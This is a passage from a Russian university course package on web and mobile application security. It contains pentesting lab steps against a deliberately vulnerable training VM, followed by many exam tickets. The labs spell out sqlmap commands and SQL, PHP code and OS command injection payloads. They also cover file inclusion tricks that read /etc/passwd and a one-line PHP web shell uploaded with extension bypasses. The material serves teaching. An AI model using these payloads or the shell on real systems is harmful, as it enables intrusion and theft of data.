```
python sqlmap.py -p id --dbms=mysql -u
http://IP_address/sqli/example6.php?id=2
```

4. Просмотреть исходный код PHP-сценария для понимания логики приложения.

Шаг 7:

1. Перейти по ссылке «SQL injections → Example 7».
2. Ввести запросы, начиная с sqli/example7.php?id=2 и заканчивая sqli/example7.php?id=2%0A%23sqli.
3. Использовать sqlmap для проверки уязвимости параметра id:

```
python sqlmap.py -p id --dbms=mysql -u
http://IP_address/sqli/example7.php?id=2
```

4. Выполнить запросы для извлечения данных из СУБД, начиная с sqli/example7.php?id=2%0Aunion%20select%201 и заканчивая sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users.
5. Ручными методами получить данные из базы данных.
6. Просмотреть исходный код PHP-сценария для понимания логики приложения.

Вопросы и задания

1. С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.
2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.
3. Для веб-приложения, уязвимого к атаке SQL-injection и использующего для хранения данных СУБД MySQL, получить содержимое служебной базы данных INFORMATION_SCHEMA.

Лабораторная работа 9. «Поиск уязвимостей к атакам RCE»

Цель лабораторной работы: обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам RCE.

Выполнить идентификацию и эксплуатацию уязвимостей к атакам RCE.

Задание:

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «Code Injection → Example 1». Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение **';&"\/#|*()**. Просмотреть сообщение об ошибке. Изучить документацию PHP по функции eval(). Ввести последовательно значения **123"."456** и **"./*123456*/**. В качестве доказательства наличия уязвимости ввести значение **".system('uname -a');"**.

Шаг 3. Перейти по ссылке «Code Injection → Example 2». Проанализировать логику функционирования веб-приложения. В качестве переменной name ввести значение **';&"\/#|*()**.

Просмотреть сообщение об ошибке. Изучить документацию PHP по функциям create_function() и usort(). Ввести последовательно значения **id;}//** и **id);}//**. В качестве доказательства наличия уязвимости ввести значение:

id);}system('whoami');//.

Шаг 4. Перейти по ссылке «Command Injection → Example 1». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1. Просмотреть вывод приложения. В качестве значения переменной ip ввести 127.0.0.1;uname%20-a;whoami;cat%20/etc/passwd.

Шаг 5. Перейти по ссылке «Command Injection → Example 2». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение **127.0.0.1;whoami**. Просмотреть вывод приложения. В качестве переменной ip ввести значение:

127.0.0.1%0acat%20/etc/passwd

Шаг 6. Перейти по ссылке «Command Injection → Example 3». Проанализировать логику функционирования веб-приложения. В качестве переменной ip ввести значение 127.0.0.1;whoami. Просмотреть вывод приложения. Запустить сетевой анализатор. Повторить запрос. Будет выполнено перенаправление на ресурс example3.php?ip=127.0.0.1, но в то же время HTTP-ответ с кодом 302 будет содержать вывод команды whoami. Это означает, что приложение уязвимо к атаке Execution After Redirect (EAR). Ввести переменной ip ввести значение:

127.0.0.1;cat%20/etc/passwd

Просмотреть содержимое файла /etc/passwd в HTTP-ответе.

Шаг 7. Перейти по ссылке «File Include → Example 1». Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение:

';&"\/#|*()

Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение /etc/passwd. Это означает, что приложение уязвимо к атаке LFI. Просмотреть содержимое. В качестве переменной page ввести значение http://gmail.com. Это означает, что веб-приложение уязвимо к атаке Remote File Inclusion (RFI). В веб-браузере перейти по адресу https://pentesterlab.com/test_include.txt и просмотреть полученный в ответе PHP-код. В качестве значения переменной:

page ввести https://pentesterlab.com/test_include.txt

Просмотреть и проанализировать результаты.

Шаг 8. Перейти по ссылке «File Include → Example 2». Проанализировать логику функционирования веб-приложения. В качестве переменной page ввести значение:

';&"\/#|*()

Просмотреть вывод сообщения об ошибке. Определить путь к сценариям на веб-сервере. В качестве переменной page ввести значение /etc/passwd. В данном случае к введенному имени файла добавляется расширение «php». В качестве переменной page ввести значения /etc/passwd%00 и https://pentesterlab.com/test_include.txt%00. Просмотреть и проанализировать результаты.

Шаг 9. Перейти по ссылке «File Upload → Example 1». Проанализировать логику функционирования веб-приложения. Подготовить файл shell.php со следующим PHP-кодом:

<?php system($_GET['cmd']);?>

Загрузить файл на сервер. Отправляя запросы виды /upload/images/shell.php?cmd=whoami, возможно выполнять произвольные команды на сервере с правами пользователя, от имени которого запущен веб-сервер. Выполнить несколько команд, просмотреть и проанализировать результаты.

Шаг 10. Перейти по ссылке «File Upload → Example 2». Проанализировать логику функционирования веб-приложения. Подготовить файл shell.php со следующим PHP-кодом:

<?php system($_GET['cmd']);?>

Загрузить файл на сервер. Убедиться, что приложение не допускает загрузку файлов с расширением «php». Переименовать файл shell.php в shell.php.cats или shell.php3. Загрузить файл, проверить наличие возможности выполнения произвольных команд.

Вопросы и задания

1. Как автоматически идентифицировать уязвимости, связанные с загрузкой файлов на сервер?
2. Изучить рекомендации по реализации защищенной загрузки файлов на сервер.
3. Загрузить на сервер и использовать PHP шелл-код c99.

Лабораторная работа 10. «Сканирование уязвимостей веб-приложений»

Цель лабораторной работы: изучение основных методов и средств идентификации уязвимостей, реализованных в специализированных сканерах безопасности веб-приложений.

Выполнить сканирование уязвимостей веб-приложения с использованием сканера безопасности общего назначения XSpider.

Задание:

Шаг 1:

1. Развернуть тестовое веб-приложение с известными уязвимостями.
2. Запустить сканер безопасности XSpider.
3. Создать или открыть профиль сканирования с названием «Web scan».
4. Ограничить список сканируемых портов значениями 80/tcp и 443/tcp.
5. Отключить сканирование UDP-портов.
6. Включить идентификацию сервисов.

Шаг 2:

1. Включить все опции в разделе «HTTP».
2. В разделе «Анализатор контента»:
    - Включить использование словарей.
    - Включить поиск старых файлов.
    - Включить поиск вредоносного кода.
    - При необходимости добавить дополнительные ссылки для сканирования.

Шаг 3:

1. В разделе «Типы уязвимостей» оставить активными только следующие опции:
    - SQL-инъекции.
    - Удаленное выполнение команд.
    - Просмотр произвольных файлов.
    - Межсайтовый скриптинг (XSS).
2. Отключить функцию подбора учетных записей.
3. Сохранить изменения в профиле сканирования.
4. Запустить сканирование веб-приложения с использованием настроенного профиля.

5. Просмотреть и проанализировать результаты сканирования, обратив внимание на запросы, отправляемые сканером.

Шаг 4:

1. Аутентифицироваться в веб-приложении.
2. С помощью анализатора запросов сохранить HTTP-запросы, содержащие аутентификационные данные (Cookie, заголовки и т.д.).
3. Открыть профиль «Web scan» и добавить аутентификационные данные в раздел «Дополнительные поля запроса».
4. Сохранить изменения в профиле.
5. Выполнить повторное сканирование с обновленным профилем.
6. Сравнить результаты первого и второго сканирования для выявления изменений в уязвимостях.

Вопросы и задания

1. Выполнить ручные проверки наличия обнаруженных сканером уязвимостей в веб-приложении.
2. Выполнить сканирование того же приложения с помощью сканера W3AF, сравнить полученные результаты.
3. Реализовать веб-приложение, уязвимое к атаке XSS, которое инвертирует введенные пользователем данные и выводит их в HTML-документ. Выполнить сканирование данного приложения с помощью любого сканера веб-приложений.

Приложение 2

КОМПЛЕКТ ОЦЕНОЧНЫХ СРЕДСТВ К РУБЕЖНОМУ КОНТРОЛЮ

Первая рубежная аттестация (7 –й семестр)

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 1

Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие методы и инструменты используются для обнаружения и предотвращения утечек конфиденциальных данных из веб-приложений?
2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 2

Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие меры безопасности могут предотвратить атаки межсайтовой подделки запроса (CSRF)?

2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 3

Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Организационные структуры управления.
2. Участники проектной деятельности.

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 4
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?
2. Какие инструменты и технологии помогают обнаруживать уязвимости в веб-приложениях при аудите безопасности?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 5
Дисциплина «Информационная безопасность мобильных и Web-приложений»

11. Какие меры безопасности следует принимать при обработке и хранении паролей пользователей в базе данных?

2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 6
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Как предотвратить атаки переполнения буфера в веб-приложениях?
2. Какие инструменты и технологии помогают обнаруживать уязвимости в веб-приложениях при аудите безопасности?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 1
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие методы и инструменты используются для обнаружения и предотвращения утечек конфиденциальных данных из веб-приложений?

2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 2
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие меры безопасности могут предотвратить атаки межсайтовой подделки запроса (CSRF)?

2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 3
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

2. Какие меры безопасности следует принимать при обработке и хранении паролей пользователей в базе данных?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 4
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?

2. Какие инструменты и технологии помогают обнаруживать уязвимости в веб-приложениях при аудите безопасности?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 5
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие меры безопасности следует принимать при обработке и хранении паролей пользователей в базе данных?

2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 1
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Как SSR (Server-Side Rendering) может повысить безопасность веб-приложений?

2. Какие меры безопасности следует принимать при использовании сторонних библиотек и фреймворков в веб-приложениях?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 2
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Как предотвратить утечку конфиденциальной информации через некорректную обработку ошибок в веб-приложениях?

2. Как SSR (Server-Side Rendering) может повысить безопасность веб-приложений?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 3
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие инструменты и методы тестирования безопасности применяются при разработке веб-приложений?

2. Какие технологии помогают обнаруживать и предотвращать атаки межсайтового скриптинга (XSS)?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 4
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие методы аутентификации и авторизации наиболее эффективны в мобильных и веб-приложениях?

2. Какие инструменты помогают защитить веб-приложения от атак перебора паролей и подбора их методом перебора?

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

Вариант № 5
Дисциплина «Информационная безопасность мобильных и Web-приложений»

1. Какие инструменты и методы тестирования безопасности применяются при разработке веб-приложений?

2. Какие меры безопасности следует принимать при использовании сторонних библиотек и фреймворков в веб-приложениях?

.

Преподаватель /М.К. Абдулаев/

Зав. кафедрой /Л.Р. Магомаева/

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 1

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__7__семестр

1. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?

2. Что такое XSS-атака и какие меры безопасности можно предпринять для защиты от нее в веб-приложениях?

3. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

4. Какие меры безопасности следует предпринять при разработке административной панели в веб-приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 2

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__7__семестр

1. Какие методы и инструменты используются для обнаружения и предотвращения утечек конфиденциальных данных из веб-приложений?

2. Что такое CORS (Cross-Origin Resource Sharing) и как он влияет на безопасность веб-приложений?

3. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?

4. Что такое CORS (Cross-Origin Resource Sharing) и как он влияет на безопасность веб-приложений?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 3

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__7__семестр

1. Как предотвратить утечку конфиденциальной информации через некорректную обработку ошибок в веб-приложениях?

2. Как SSR (Server-Side Rendering) может повысить безопасность веб-приложений?

3. Какие инструменты помогают защитить веб-приложения от атак перебора паролей и подбора их методом перебора?

4. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 4

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__7__семестр

1. Как обеспечить безопасность веб-приложений при использовании сторонних API и сервисов?

2. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

3. Как предотвратить атаки переполнения буфера в веб-приложениях?.

4. Что такое CORS (Cross-Origin Resource Sharing) и как он влияет на безопасность веб-приложений?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 5

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__ 7__семестр

1. Что такое CORS (Cross-Origin Resource Sharing) и как он влияет на безопасность веб-приложений?

2. Какие меры безопасности следует принимать при обработке и хранении паролей пользователей в базе данных?

3. Какие инструменты и технологии помогают обнаруживать уязвимости в веб-приложениях при аудите безопасности?

4. Что такое XSS-атака и какие меры безопасности можно предпринять для защиты от нее в веб-приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 1

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие меры безопасности следует предпринять при работе с локальным хранилищем мобильных приложений?

2. Какие атаки наиболее распространены в мобильной разработке, и как их предотвратить?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 2

Дисциплина «Информационная безопасность мобильных и Web-приложений»

Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие меры безопасности следует предпринять при обработке и передаче конфиденциальных данных через API в мобильных приложениях?

2. Как обеспечить безопасность пользовательских данных в мобильных приложениях при передаче через сеть?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 3

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие технологии и протоколы используются для обеспечения безопасности мобильных приложений на уровне сети?

2. Как обеспечить защиту мобильных приложений от обратной инженерии и взлома?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 4

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие меры безопасности следует принимать при использовании хранилища ключей и других конфиденциальных данных в мобильных приложениях?

2. Какие меры безопасности необходимо учитывать при использовании механизмов аутентификации через социальные сети в мобильных приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 5

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие инструменты и методы тестирования безопасности мобильных приложений наиболее эффективны и распространены?

2. Какие меры безопасности следует принимать при использовании хранилища ключей и других конфиденциальных данных в мобильных приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 6

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие механизмы шифрования данных используются для обеспечения безопасности мобильных приложений?

2. Какие меры безопасности следует принимать при работе с локальной базой данных в мобильных приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 7

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие инструменты помогают обнаруживать и устранять уязвимости в мобильных приложениях?

2. Как обеспечить защиту мобильных приложений от атак на основе подделки и манипуляции с данными?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 8

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие методы обнаружения и предотвращения утечек данных применяются в мобильной разработке?

2. Какие аспекты безопасности необходимо учитывать при использовании биометрической аутентификации в мобильных приложениях?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ
ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 9

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ__8__семестр

1. Какие методы обнаружения и предотвращения утечек данных применяются в мобильной разработке?

2. Какие механизмы использования API могут представлять угрозу для безопасности мобильных приложений?

.

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ
ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ им. акад. М.Д. Миллионщикова

БИЛЕТ № 10

Дисциплина «Информационная безопасность мобильных и Web-приложений»
Институт _ИЦЭиТП_ специальность _ПИ_8__семестр

1. Как обеспечить защиту мобильных приложений от обратной инженерии и взлома?

2. Как обеспечить защиту мобильных приложений от атак на основе подделки и манипуляции с данными?

УТВЕРЖДЕНО зав. кафедрой
на заседании кафедры
протокол № ___ от _____ _____ Л.Р. Магомаева